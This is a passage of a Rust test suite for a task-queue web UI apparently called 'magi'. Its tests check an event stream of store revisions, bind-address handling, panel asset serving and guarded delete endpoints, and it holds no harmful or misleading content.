20375 APP_JS.contains(
20376 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20377 ),
20378 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20379 the recursive renderQueue() call has nothing left to reveal"
20380 );
20381 assert!(
20382 APP_JS.contains(
20383 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20384 ),
20385 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20386 );
20387 assert!(
20395 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20396 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20397 hashchange event that may never fire"
20398 );
20399 }
20400
20401 #[tokio::test]
20402 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20403 let f = Fixture::start().await;
20404
20405 let mut socket = tokio::net::TcpStream::connect(f.addr)
20406 .await
20407 .expect("connect");
20408 socket
20409 .write_all(
20410 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20411 )
20412 .await
20413 .expect("write request");
20414
20415 let mut seen = String::new();
20418 let mut buf = [0u8; 1024];
20419 while !seen.contains("event: change") {
20420 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20421 .await
20422 .expect("the stream must speak within five seconds")
20423 .expect("read");
20424 assert!(read > 0, "the server closed the change stream: {seen}");
20425 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20426 }
20427
20428 assert!(
20429 seen.to_lowercase()
20430 .contains("content-type: text/event-stream"),
20431 "the browser only reconnects automatically for a real SSE stream: {seen}"
20432 );
20433 let data = seen
20434 .lines()
20435 .find_map(|l| l.strip_prefix("data:"))
20436 .expect("a data line");
20437 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20438 assert!(
20439 payload["queue_rev"].is_u64()
20440 && payload["runs_rev"].is_u64()
20441 && payload["questions_rev"].is_u64()
20442 && payload["talks_rev"].is_u64()
20443 && payload["notifications_rev"].is_u64()
20444 && payload["loop_rev"].is_u64(),
20445 "the client needs one revision per store to know what to refetch, \
20446 and `talks_rev` is the only notification a standing talk gets - a \
20447 phone whose radio slept through a turn learns about it here, as \
20448 does one whose operator started the loop from another device: \
20449 {payload}"
20450 );
20451
20452 let health = f.get("/api/health").await.json();
20459 for key in [
20460 "queue_rev",
20461 "runs_rev",
20462 "questions_rev",
20463 "talks_rev",
20464 "notifications_rev",
20465 "loop_rev",
20466 ] {
20467 assert!(
20468 health[key].is_u64(),
20469 "health is the change stream's fallback and is missing `{key}`: {health}"
20470 );
20471 }
20472 }
20473
20474 #[tokio::test]
20475 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20476 let f = Fixture::start().await;
20477 let before = f.get("/api/health").await.json()["talks_rev"]
20478 .as_u64()
20479 .expect("talks_rev");
20480
20481 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20482 std::thread::sleep(Duration::from_millis(10));
20483 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20484 on_disk.turns.push(crate::talk::Turn {
20485 sender: None,
20486 breaks: Some(Vec::new()),
20487 messages: Vec::new(),
20488 posted_by: None,
20489 who: crate::talk::Who::Operator,
20490 body: "a new turn".to_owned(),
20491 at: Timestamp::now(),
20492 attachments: Vec::new(),
20493 usage: None,
20494 });
20495 f.talks().put(&mut on_disk).expect("record a turn");
20496
20497 let after = tokio::time::timeout(Duration::from_secs(5), async {
20498 loop {
20499 let revision = f.get("/api/health").await.json()["talks_rev"]
20500 .as_u64()
20501 .unwrap();
20502 if revision != before {
20503 break revision;
20504 }
20505 tokio::time::sleep(Duration::from_millis(50)).await;
20506 }
20507 })
20508 .await
20509 .expect("shared monitor observes external turn");
20510 assert_ne!(
20511 before, after,
20512 "a phone must be able to notice a talk's reply without polling every store"
20513 );
20514 }
20515
20516 #[test]
20517 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20518 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20522 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20523 }
20524 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20525 assert!("everywhere".parse::<Bind>().is_err());
20526 }
20527
20528 #[test]
20529 fn an_explicit_bind_address_is_taken_verbatim() {
20530 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20531
20532 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20533
20534 assert_eq!(addr, asked);
20535 assert!(
20536 warning.is_none(),
20537 "an operator who named an address gets no lecture"
20538 );
20539 }
20540
20541 #[test]
20542 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20543 let (addr, warning) = resolve_bind(&Bind::Auto);
20544
20545 match addr {
20552 IpAddr::V4(ip) if is_tailnet(&ip) => {
20553 assert!(warning.is_none(), "a tailnet address needs no warning");
20554 }
20555 other => {
20556 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20557 let warning = warning.expect("a fallback has to explain itself");
20558 assert!(
20559 warning.contains("127.0.0.1") && warning.contains("local-only"),
20560 "the warning says what happened and what it costs: {warning}"
20561 );
20562 }
20563 }
20564 }
20565
20566 #[test]
20567 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20568 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20572 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20573 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20574 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20575 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20576 }
20577
20578 #[test]
20579 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20580 let ids = vec![
20581 "20260902-140501-aaaa".to_owned(),
20582 "20260902-140502-aabb".to_owned(),
20583 ];
20584
20585 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20586 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20587 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20588
20589 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20590 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20591 assert_eq!(short, "20260902-140502-aabb");
20592 }
20593 #[tokio::test]
20594 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20595 let fx = Fixture::start().await;
20601 let id = panel(
20602 &fx,
20603 "<img src=\"shot.png\">",
20604 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20605 );
20606
20607 let doc = fx
20609 .get(&format!("/api/questions/{id}/panel/index.html"))
20610 .await;
20611 assert_eq!(doc.status, 200, "{}", doc.body);
20612 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20613
20614 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20615 assert_eq!(sibling.status, 200, "{}", sibling.body);
20616 assert_eq!(sibling.header("content-type"), Some("image/png"));
20617 assert_eq!(
20618 sibling.header("content-security-policy"),
20619 Some(PANEL_CSP),
20620 "the sibling route must carry the same policy as the asset route"
20621 );
20622
20623 assert_eq!(
20626 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20627 200
20628 );
20629 }
20630
20631 #[test]
20632 fn delta_stamps_cover_add_update_remove_and_noop() {
20633 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20634 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20635 let delta = diff_stamps(&before, &after, 42);
20636 assert_eq!(delta.base, 42);
20637 assert_eq!(delta.changed, ["b", "c"]);
20638 assert_eq!(delta.removed, ["a"]);
20639 let same = diff_stamps(&after, &after, 43);
20640 assert!(same.changed.is_empty() && same.removed.is_empty());
20641 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20642 let nanos: Stamps = [("b".into(), (2, 20))].into();
20643 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20644 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20645 assert_eq!(stamps_revision(&Stamps::new()), 0);
20646 }
20647
20648 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20649 std::fs::create_dir_all(home.join("runs")).unwrap();
20650 Arc::new(Ui::new(
20651 Queue::at(home.join("queue")),
20652 Questions::at(home.join("questions")),
20653 Talks::at(home.join("talks")),
20654 home.join("runs"),
20655 home.to_owned(),
20656 PathBuf::from("/repo/magi"),
20657 ))
20658 }
20659
20660 #[test]
20661 fn monitor_scan_isolates_store_failures_and_recovers() {
20662 let home = TempDir::new().unwrap();
20663 let ui = delta_test_ui(home.path());
20664 std::fs::create_dir_all(ui.questions.root()).unwrap();
20665 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20666 let before = monitor_scan(&ui, None);
20667 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20668 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20669 std::fs::create_dir_all(ui.talks.root()).unwrap();
20670 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20671 let during = monitor_scan(&ui, Some(before.clone()));
20672 assert_eq!(during.0.2, before.0.2);
20673 assert_ne!(during.0.3, before.0.3);
20674 assert!(during.1[2].contains_key("new"));
20675 std::fs::remove_file(ui.questions.root()).unwrap();
20676 let after = monitor_scan(&ui, Some(during));
20677 assert_eq!(after.0.2, 0);
20678 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20679 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20681 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20682 }
20683
20684 #[tokio::test]
20685 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20686 let home = TempDir::new().unwrap();
20687 let ui = delta_test_ui(home.path());
20688 let mut task = Task::new(
20689 "stream task".into(),
20690 "text".into(),
20691 PathBuf::from("/repo"),
20692 Source::Human,
20693 );
20694 ui.queue.put(&mut task).unwrap();
20695 let response = events(State(ui.clone())).await.into_response();
20696 let mut stream = response.into_body().into_data_stream();
20697 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20698 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20699 .await
20700 .unwrap()
20701 .unwrap()
20702 .unwrap();
20703 let text = String::from_utf8(chunk.to_vec()).unwrap();
20704 let data = text
20705 .lines()
20706 .find_map(|line| {
20707 line.strip_prefix("data: ")
20708 .or_else(|| line.strip_prefix("data:"))
20709 })
20710 .unwrap();
20711 serde_json::from_str(data).unwrap()
20712 }
20713 let initial = change(&mut stream).await;
20714 assert!(initial.get("queue_delta").is_none());
20715 task.instruction.push_str(" changed");
20716 ui.queue.put(&mut task).unwrap();
20717 let updated = change(&mut stream).await;
20718 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20719 assert_eq!(
20720 updated["queue_delta"]["changed"],
20721 serde_json::json!([task.id])
20722 );
20723 assert_eq!(
20724 updated["queue_rev"].as_u64(),
20725 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20726 );
20727 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20728 let removed = change(&mut stream).await;
20729 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20730 assert_eq!(
20731 removed["queue_delta"]["removed"],
20732 serde_json::json!([task.id])
20733 );
20734 }
20735
20736 #[tokio::test]
20737 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20738 let home = TempDir::new().unwrap();
20739 let ui = delta_test_ui(home.path());
20740 let queue = ui.queue.clone();
20741 let query = |ids: Option<&str>| {
20742 Query(ListQuery {
20743 limit: Some(2),
20744 ids: ids.map(str::to_owned),
20745 })
20746 };
20747 let mut root = Task::new(
20748 "root".into(),
20749 "instruction".into(),
20750 PathBuf::from("/repo"),
20751 Source::Human,
20752 );
20753 queue.put(&mut root).unwrap();
20754 let mut blocked = Task::new(
20755 "blocked".into(),
20756 "instruction".into(),
20757 PathBuf::from("/repo"),
20758 Source::Human,
20759 );
20760 blocked.block(vec![root.id.clone()], None);
20761 queue.put(&mut blocked).unwrap();
20762 let whole =
20763 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20764 .unwrap();
20765 let subset = serde_json::to_value(
20766 queue_list(State(ui.clone()), query(Some(&root.id)))
20767 .await
20768 .unwrap()
20769 .0,
20770 )
20771 .unwrap();
20772 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20773 let blockers = serde_json::to_value(
20774 queue_list(State(ui.clone()), query(Some("")))
20775 .await
20776 .unwrap()
20777 .0,
20778 )
20779 .unwrap();
20780 assert_eq!(blockers.as_array().unwrap().len(), 1);
20781 assert_eq!(blockers[0]["id"], blocked.id);
20782 assert_eq!(
20783 blockers[0]["waits_on"],
20784 whole
20785 .as_array()
20786 .unwrap()
20787 .iter()
20788 .find(|row| row["id"] == blocked.id)
20789 .unwrap()["waits_on"]
20790 );
20791
20792 for id in [
20793 "20260902-140501-aaaa",
20794 "20260902-140502-bbbb",
20795 "20260902-140503-cccc",
20796 ] {
20797 write_run(&ui.runs, id, RunStatus::Merged);
20798 }
20799 let old = serde_json::to_value(
20800 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20801 .await
20802 .unwrap()
20803 .0,
20804 )
20805 .unwrap();
20806 assert!(
20807 old.as_array().unwrap().is_empty(),
20808 "older updates must not enter the window"
20809 );
20810 let newest = serde_json::to_value(
20811 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20812 .await
20813 .unwrap()
20814 .0,
20815 )
20816 .unwrap();
20817 assert_eq!(newest.as_array().unwrap().len(), 1);
20818 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20819
20820 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20821 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20822 let talks = serde_json::to_value(
20823 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20824 .await
20825 .unwrap()
20826 .0,
20827 )
20828 .unwrap();
20829 assert_eq!(talks.as_array().unwrap().len(), 1);
20830 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20831 assert_eq!(
20832 serde_json::to_value(
20833 talks_list(State(ui.clone()), query(Some("")))
20834 .await
20835 .unwrap()
20836 .0
20837 )
20838 .unwrap(),
20839 serde_json::json!([])
20840 );
20841 }
20842
20843 #[tokio::test]
20844 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20845 async fn delta_payload_benchmark() {
20846 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20847 let ui = delta_test_ui(&home);
20848 let query = |ids: Option<String>| {
20849 Query(ListQuery {
20850 limit: Some(50),
20851 ids,
20852 })
20853 };
20854 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20855 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20856 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20857 let queue_id = queue
20858 .iter()
20859 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20860 .unwrap_or(&queue[0])
20861 .task
20862 .id
20863 .clone();
20864 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20865 .await
20866 .unwrap()
20867 .0;
20868 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20869 .await
20870 .unwrap()
20871 .0;
20872 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20873 .await
20874 .unwrap()
20875 .0;
20876 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20877 eprintln!(
20878 "DELTA_PAYLOAD {}",
20879 serde_json::json!({
20880 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20881 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20882 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20883 "counts": [queue.len(), runs.len(), talks.len()],
20884 "blocked": queue_delta.len() - 1,
20885 })
20886 );
20887 }
20888
20889 #[test]
20890 fn runs_revision_moves_when_deleting_an_older_run() {
20891 let temp = TempDir::new().expect("tempdir");
20892 let runs = temp.path().join("runs");
20893 std::fs::create_dir_all(&runs).expect("create runs dir");
20894
20895 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20896
20897 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20898 std::thread::sleep(Duration::from_millis(10));
20899 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20900
20901 let rev_before = runs_revision(&runs);
20902 assert!(rev_before > 0);
20903
20904 let old_dir = runs.join("20260901-100000-old1");
20905 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20906
20907 let rev_after = runs_revision(&runs);
20908 assert_ne!(
20909 rev_before, rev_after,
20910 "deleting an older run must change the revision so other clients see the deletion"
20911 );
20912 }
20913
20914 fn write_state(runs: &FsPath, state: &RunState) {
20919 let dir = runs.join(&state.id);
20920 std::fs::create_dir_all(&dir).expect("run dir");
20921 std::fs::write(
20922 dir.join("run.json"),
20923 serde_json::to_string_pretty(state).expect("serialize run"),
20924 )
20925 .expect("write run.json");
20926 }
20927
20928 #[test]
20933 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20934 let temp = TempDir::new().expect("tempdir");
20935 let runs = temp.path().join("runs");
20936 std::fs::create_dir_all(&runs).expect("create runs dir");
20937 let mut state = RunState::new(
20938 PathBuf::from("/repo/magi"),
20939 "main".to_owned(),
20940 "0123456789abcdef".to_owned(),
20941 "task".to_owned(),
20942 Config::default(),
20943 );
20944 state.id = "20260902-100000-c0de".to_owned();
20945 write_state(&runs, &state);
20946
20947 let rev_idle = runs_revision(&runs);
20948 std::thread::sleep(Duration::from_millis(10));
20949 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20950 write_state(&runs, &state);
20951 let rev_started = runs_revision(&runs);
20952 assert_ne!(
20953 rev_idle, rev_started,
20954 "a seat starting must move the revision"
20955 );
20956
20957 std::thread::sleep(Duration::from_millis(10));
20958 state.seat_finished("judge-1");
20959 write_state(&runs, &state);
20960 let rev_finished = runs_revision(&runs);
20961 assert_ne!(
20962 rev_started, rev_finished,
20963 "and clearing it again must move the revision a second time"
20964 );
20965 }
20966
20967 #[tokio::test]
20968 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20969 let fx = Fixture::start().await;
20974 let q = fx.queue();
20975
20976 let mut t = Task::new(
20977 "Task".to_owned(),
20978 "Instruction".to_owned(),
20979 PathBuf::from("/repo"),
20980 Source::Human,
20981 );
20982 t.block(
20983 vec!["20260101-000000-dead".to_owned()],
20984 Some("waiting on Task 1".to_owned()),
20985 );
20986 t.answers.push(crate::queue::AnsweredQuestion {
20987 question: "Which backend?".to_owned(),
20988 answer: "SQLite".to_owned(),
20989 });
20990 q.put(&mut t).expect("put t");
20991
20992 let res = fx.get("/api/queue").await;
20993 assert_eq!(res.status, 200);
20994 let list = res.json();
20995 let view = list
20996 .as_array()
20997 .expect("array")
20998 .iter()
20999 .find(|v| v["id"] == t.id)
21000 .expect("task in list");
21001 assert_eq!(view["status_str"], "blocked");
21002 assert_eq!(
21003 view["blocked_by"],
21004 serde_json::json!(["20260101-000000-dead"])
21005 );
21006 assert_eq!(view["block_reason"], "waiting on Task 1");
21007 assert_eq!(view["answers"][0]["question"], "Which backend?");
21008 assert_eq!(view["answers"][0]["answer"], "SQLite");
21009
21010 let res = fx
21014 .post(&format!("/api/queue/{}/hold", t.short()), None)
21015 .await;
21016 assert_eq!(res.status, 200);
21017 let held = res.json();
21018 assert_eq!(held["status_str"], "held");
21019 assert_eq!(held["blocked_by"], serde_json::json!([]));
21020 assert!(held["block_reason"].is_null());
21021 assert_eq!(held["answers"][0]["answer"], "SQLite");
21022 }
21023
21024 #[tokio::test]
21025 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21026 let fx = Fixture::start().await;
21027 let q = fx.queue();
21028 let mk = |title: &str| {
21029 Task::new(
21030 title.to_owned(),
21031 "Instruction".to_owned(),
21032 PathBuf::from("/repo"),
21033 Source::Human,
21034 )
21035 };
21036 let mut root = mk("root");
21037 root.hold_manual(Some("waiting".to_owned()));
21038 q.put(&mut root).unwrap();
21039 let mut mid = mk("mid");
21040 mid.block(vec![root.id.clone()], None);
21041 q.put(&mut mid).unwrap();
21042 let mut leaf = mk("leaf");
21043 leaf.block(vec![mid.id.clone()], None);
21044 q.put(&mut leaf).unwrap();
21045
21046 let list = fx.get("/api/queue").await.json();
21047 let find = |id: &str| {
21048 list.as_array()
21049 .unwrap()
21050 .iter()
21051 .find(|v| v["id"] == id)
21052 .unwrap()
21053 .clone()
21054 };
21055 let leaf_view = find(&leaf.id);
21056 assert_eq!(
21057 leaf_view["waits_on"],
21058 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21059 );
21060 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21061 assert_eq!(
21062 find(&mid.id)["waits_on"],
21063 serde_json::json!([format!("{} (held)", root.short())])
21064 );
21065 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21066 }
21067
21068 #[tokio::test]
21069 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21070 let fx = Fixture::start().await;
21071 let q = fx.queue();
21072
21073 let mut t1 = Task::new(
21075 "Task 1".to_owned(),
21076 "Instruction 1".to_owned(),
21077 PathBuf::from("/repo"),
21078 Source::Human,
21079 );
21080 let run_id = "20260901-000000-r111";
21081 t1.runs.push(run_id.to_owned());
21082 write_run(&fx.runs(), run_id, RunStatus::Merged);
21083 q.put(&mut t1).expect("put t1");
21084
21085 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21087 assert_eq!(res.status, 204);
21088 assert!(res.body.is_empty(), "204 No Content has no body");
21089 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21090 assert!(
21091 fx.runs().join(run_id).exists(),
21092 "run directory must not be deleted when its task is deleted"
21093 );
21094
21095 let mut t2 = Task::new(
21097 "Task 2".to_owned(),
21098 "Instruction 2".to_owned(),
21099 PathBuf::from("/repo"),
21100 Source::Human,
21101 );
21102 t2.status = TaskStatus::Running;
21103 q.put(&mut t2).expect("put t2");
21104 let mut beat = crate::daemon::Status::new();
21105 beat.current = vec![crate::daemon::Current {
21106 task: t2.id.clone(),
21107 run: "20260901-000000-r222".to_owned(),
21108 }];
21109 beat.updated_at = jiff::Timestamp::now();
21110 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21111 .expect("publish a heartbeat");
21112 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21113 assert_eq!(res.status, 409);
21114 assert!(
21115 res.json()["error"]
21116 .as_str()
21117 .unwrap()
21118 .contains("live daemon")
21119 );
21120 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21121
21122 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21128 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21129 .expect("leave a stale heartbeat");
21130 let mut t3 = Task::new(
21131 "Task 3".to_owned(),
21132 "Instruction 3".to_owned(),
21133 PathBuf::from("/repo"),
21134 Source::Human,
21135 );
21136 t3.status = TaskStatus::Running;
21137 q.put(&mut t3).expect("put t3");
21138 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21139 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21140 assert_eq!(res.status, 204);
21141 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21142 assert!(
21143 q.claim(&t3.id).is_ok(),
21144 "the stale lock went with it, so the id is claimable again"
21145 );
21146
21147 let res = fx.delete("/api/queue/nonexistent").await;
21149 assert_eq!(res.status, 404);
21150 }
21151
21152 #[tokio::test]
21153 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21154 let fx = Fixture::start().await;
21155 let runs = fx.runs();
21156
21157 let run_id = "20260901-000000-fold";
21159 let mut state = RunState::new(
21160 PathBuf::from("/repo"),
21161 "main".to_owned(),
21162 "abc".to_owned(),
21163 "instruction".to_owned(),
21164 Config::default(),
21165 );
21166 state.id = run_id.to_owned();
21167 state.status = RunStatus::Merged;
21168 state.candidates.push(crate::run::Candidate {
21169 index: 0,
21170 label: 'A',
21171 agent: "a".to_owned(),
21172 branch: "b".to_owned(),
21173 worktree: PathBuf::from("/w"),
21174 summary: String::new(),
21175 stat: String::new(),
21176 files: 1,
21177 commits: 1,
21178 empty: false,
21179 failed: None,
21180 verified_noop: None,
21181 duration_ms: 0,
21182 folded: true,
21183 });
21184 let dir = runs.join(run_id);
21185 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21186 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21187 .expect("write artifact");
21188 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21189 .expect("write run.json");
21190
21191 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21193 assert_eq!(res.status, 204);
21194 assert!(res.body.is_empty(), "204 has no body");
21195 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21196
21197 let run_running = "20260901-000000-rung";
21202 write_run(&runs, run_running, RunStatus::Prep);
21203 let mut beat = crate::daemon::Status::new();
21204 beat.current = vec![crate::daemon::Current {
21205 task: "20260901-000000-task".to_owned(),
21206 run: run_running.to_owned(),
21207 }];
21208 beat.updated_at = jiff::Timestamp::now();
21209 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21210 .expect("publish a heartbeat");
21211 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21212 assert_eq!(res.status, 409);
21213 assert!(
21214 res.json()["error"]
21215 .as_str()
21216 .unwrap()
21217 .contains("live daemon"),
21218 "the refusal must say who is holding it"
21219 );
21220 assert!(
21221 runs.join(run_running).exists(),
21222 "a run in flight keeps its directory"
21223 );
21224
21225 let run_unfolded = "20260901-000000-unfd";
21227 let mut state2 = RunState::new(
21228 PathBuf::from("/repo"),
21229 "main".to_owned(),
21230 "abc".to_owned(),
21231 "instruction".to_owned(),
21232 Config::default(),
21233 );
21234 state2.id = run_unfolded.to_owned();
21235 state2.status = RunStatus::Ready;
21236 state2.candidates.push(crate::run::Candidate {
21237 index: 0,
21238 label: 'A',
21239 agent: "a".to_owned(),
21240 branch: "b".to_owned(),
21241 worktree: PathBuf::from("/w"),
21242 summary: String::new(),
21243 stat: String::new(),
21244 files: 1,
21245 commits: 1,
21246 empty: false,
21247 failed: None,
21248 verified_noop: None,
21249 duration_ms: 0,
21250 folded: false,
21251 });
21252 let dir2 = runs.join(run_unfolded);
21253 std::fs::create_dir_all(&dir2).expect("create dir2");
21254 std::fs::write(
21255 dir2.join("run.json"),
21256 serde_json::to_string(&state2).unwrap(),
21257 )
21258 .expect("write run.json");
21259
21260 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21261 assert_eq!(res.status, 409);
21262 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21263 assert!(dir2.exists(), "unfolded run directory is kept");
21264
21265 let res = fx.delete("/api/runs/nonexistent").await;
21267 assert_eq!(res.status, 404);
21268 }
21269
21270 #[test]
21279 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21280 let start = APP_JS
21281 .find("function renderStats() {")
21282 .expect("renderStats");
21283 let end = start
21284 + APP_JS[start..]
21285 .find("function statsTile(")
21286 .expect("the next top-level function");
21287 let body = &APP_JS[start..end];
21288
21289 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21290 let gate_end = gate_start
21291 + body[gate_start..]
21292 .find("}\n renderStatsQueue")
21293 .expect("the gate's own closing brace, right before the unconditional call");
21294 let gated = &body[gate_start..gate_end];
21295
21296 assert_eq!(
21297 body.matches("renderStatsQueue(").count(),
21298 1,
21299 "renderStats must call renderStatsQueue exactly once: {body}"
21300 );
21301 assert!(
21302 !gated.contains("renderStatsQueue"),
21303 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21304 run-derived panels on an empty run history - the queue panel has to render \
21305 regardless: {gated}"
21306 );
21307 }
21308
21309 #[test]
21310 fn web_ui_delete_contract_in_front_end() {
21311 assert!(APP_JS.contains("deleteRun:"));
21313 assert!(APP_JS.contains("deleteTask:"));
21314
21315 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21317 ..APP_JS.find("function renderRuns").unwrap()];
21318 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21319
21320 assert!(APP_JS.contains("renderRunDelete"));
21322 assert!(APP_JS.contains("runDeleteReason"));
21323 assert!(APP_JS.contains("magi fold"));
21324 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21325
21326 assert!(APP_JS.contains("cancel.focus"));
21328 assert!(APP_JS.contains("armedRunDelete"));
21329 assert!(APP_JS.contains("renderTaskDeleteBox"));
21330 assert!(APP_JS.contains("armed${cap(key)}"));
21331
21332 assert!(APP_JS.contains("disabled: status === \"running\""));
21334 }
21335
21336 #[test]
21356 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21357 let build = APP_JS
21358 .find("function createRunCard")
21359 .expect("createRunCard exists");
21360 let update = APP_JS
21361 .find("function updateRunCard")
21362 .expect("updateRunCard exists");
21363 let end = APP_JS
21364 .find("function renderRuns")
21365 .expect("renderRuns exists");
21366
21367 let builder = &APP_JS[build..update];
